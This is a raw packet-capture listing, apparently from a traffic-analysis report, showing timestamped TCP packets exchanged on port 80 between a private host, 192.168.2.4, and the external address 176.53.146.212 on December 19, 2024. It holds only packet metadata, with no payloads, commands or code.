Dec 19, 2024 14:10:49.866493940 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:49.867430925 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:49.867610931 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:49.867655993 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:49.868372917 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:49.868432999 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:49.868731976 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:49.869306087 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:49.869354010 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:49.869415998 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:49.870362043 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:49.870378017 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:49.870423079 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:49.871469975 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:49.871476889 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:49.871516943 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:49.872560024 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:49.872606039 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:49.872607946 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:49.873585939 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:49.873686075 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:49.873744965 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:49.874665022 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:49.874763966 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:49.874829054 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:49.875725031 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:49.875773907 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:49.875824928 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:49.876867056 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:49.876883030 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:49.876948118 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:49.877863884 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:49.877907038 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:49.878005981 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:49.878959894 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:49.879005909 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:49.879056931 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:49.880032063 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:49.880038023 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:49.880085945 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:49.881098032 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:49.881136894 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:49.881159067 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:49.882241011 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:49.882787943 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:49.936739922 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:49.936790943 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:49.936842918 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:49.937289953 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:49.937396049 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:49.937621117 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:49.938333035 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:49.938466072 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:49.938503981 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:49.939457893 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:49.939538956 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:49.939585924 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:49.940502882 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:49.940747976 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:49.940788984 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:49.941679001 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:49.941759109 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:49.941881895 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:49.942652941 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:49.942759037 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:49.942842960 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:49.943766117 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:49.943871021 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:49.943937063 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:49.944814920 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:49.944921970 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:49.944972038 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:49.945903063 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:49.945962906 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:49.946007967 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:49.946981907 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:49.947098017 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:49.947216988 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:49.948085070 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:49.948132038 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:49.948174000 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:49.949188948 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:49.949321985 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:49.949366093 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:49.950206041 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:50.002655029 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:50.032778978 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:50.032872915 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:50.032954931 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:50.033273935 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:50.033370018 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:50.033499956 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:50.034331083 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:50.034425974 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:50.035332918 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:50.035445929 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:50.035567045 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:50.035665035 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:50.036544085 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:50.036819935 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:50.037657976 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:50.037736893 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:50.037765980 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:50.037812948 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:50.038681030 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:50.038778067 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:50.038876057 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:50.039839029 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:50.040029049 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:50.040921926 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:50.040970087 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:50.041065931 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:50.041285992 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:50.041903019 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:50.042025089 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:50.042109013 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:50.043045044 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:50.043174982 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:50.043237925 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:50.044056892 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:50.044127941 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:50.044506073 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:50.045227051 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:50.045270920 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:50.045377016 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:50.046175003 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:50.046222925 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:50.046274900 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:50.047390938 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:50.047447920 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:50.047682047 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:50.048330069 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:50.048496008 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:50.048593044 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:50.049791098 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:50.049849987 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:50.050154924 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:50.050595045 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:50.050604105 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:50.051547050 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:50.051588058 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:50.051719904 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:50.051840067 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:50.052776098 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:50.052865028 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:50.053505898 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:50.053767920 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:50.053893089 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:50.054361105 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:50.054850101 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:50.055003881 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:50.055068970 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:50.055957079 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:50.056006908 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:50.056066990 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:50.056991100 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:50.056999922 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:50.057171106 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:50.058079004 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:50.058125973 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:50.058233023 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:50.059153080 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:50.059331894 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:50.059540033 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:50.060287952 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:50.060497046 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:50.060635090 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:50.061332941 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:50.061431885 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:50.062352896 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:50.062437057 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:50.062494040 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:50.062644005 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:50.063519955 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:50.063604116 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:50.064131975 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:50.064513922 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:50.064584970 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:50.064661980 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:50.065594912 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:50.065677881 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:50.065793991 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:50.067004919 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:50.067065954 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:50.067778111 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:50.067852020 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:50.067859888 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:50.068152905 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:50.068857908 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:50.068929911 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:50.069380999 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:50.069919109 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:50.070010900 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:50.070256948 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:50.071014881 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:50.071132898 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:50.071183920 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:50.072246075 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:50.072397947 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:50.072463036 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:50.073184013 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:50.073271036 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:50.073471069 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:50.074232101 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:50.074326992 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:50.074372053 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:50.128870964 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:50.128982067 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:50.129178047 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:50.129403114 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:50.129498005 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:50.129561901 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:50.130480051 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:50.130505085 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:50.130734921 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:50.131577969 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:50.131689072 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:50.131834984 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:50.132813931 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:50.132977009 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:50.133054018 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:50.133734941 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:50.133855104 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:50.133923054 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:50.134849072 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:50.134934902 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:50.135907888 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:50.135994911 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:50.136055946 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:50.136982918 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:50.137068987 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:50.137151003 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:50.138029099 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:50.138119936 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:50.138303995 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:50.139127016 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:50.139221907 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:50.139338017 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:50.140197992 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:50.140316010 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:50.140454054 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:50.141239882 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:50.141292095 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:50.141944885 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:50.142291069 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:50.190160990 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:50.224817038 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:50.224896908 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:50.225018024 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:50.225397110 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:50.225541115 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:50.225608110 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:50.226433039 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:50.226794958 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:50.226860046 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:50.226875067 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:50.227857113 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:50.228005886 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:50.228658915 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:50.228950977 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:50.229039907 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:50.229116917 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:50.230036974 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:50.230117083 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:50.230186939 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:50.231103897 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:50.231167078 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:50.232197046 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:50.232249975 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:50.232285023 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:50.233266115 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:50.233370066 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:50.233459949 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:50.234328985 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:50.234417915 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:50.234460115 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:50.235424995 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:50.235434055 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:50.235492945 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:50.236515045 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:50.236574888 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:50.236620903 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:50.237586021 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:50.237695932 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:50.237703085 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:50.238650084 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:50.238699913 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:50.238817930 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:50.239804029 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:50.239813089 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:50.239938021 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:50.240902901 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:50.241039991 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:50.241844893 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:50.242007971 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:50.242074013 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:50.243000984 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:50.243197918 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:50.244041920 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:50.244092941 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:50.244092941 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:50.244132042 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:50.245095015 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:50.245150089 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:50.245201111 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:50.246232033 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:50.246263027 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:50.247093916 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:50.247286081 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:50.247328997 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:50.247457027 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:50.248358965 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:50.248537064 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:50.248769045 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:50.249420881 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:50.249484062 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:50.249521971 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:50.250471115 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:50.250602961 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:50.250618935 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:50.251969099 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:50.252024889 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:50.252259016 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:50.252975941 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:50.253025055 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:50.253031969 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:50.253890991 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:50.253987074 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:50.254105091 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:50.254803896 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:50.254928112 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:50.255078077 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:50.255934000 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:50.256026030 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:50.256057978 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:50.256985903 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:50.257030964 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:50.257054090 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:50.258033037 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:50.258157969 CET	80	49856	176.53.146.212	192.168.2.4
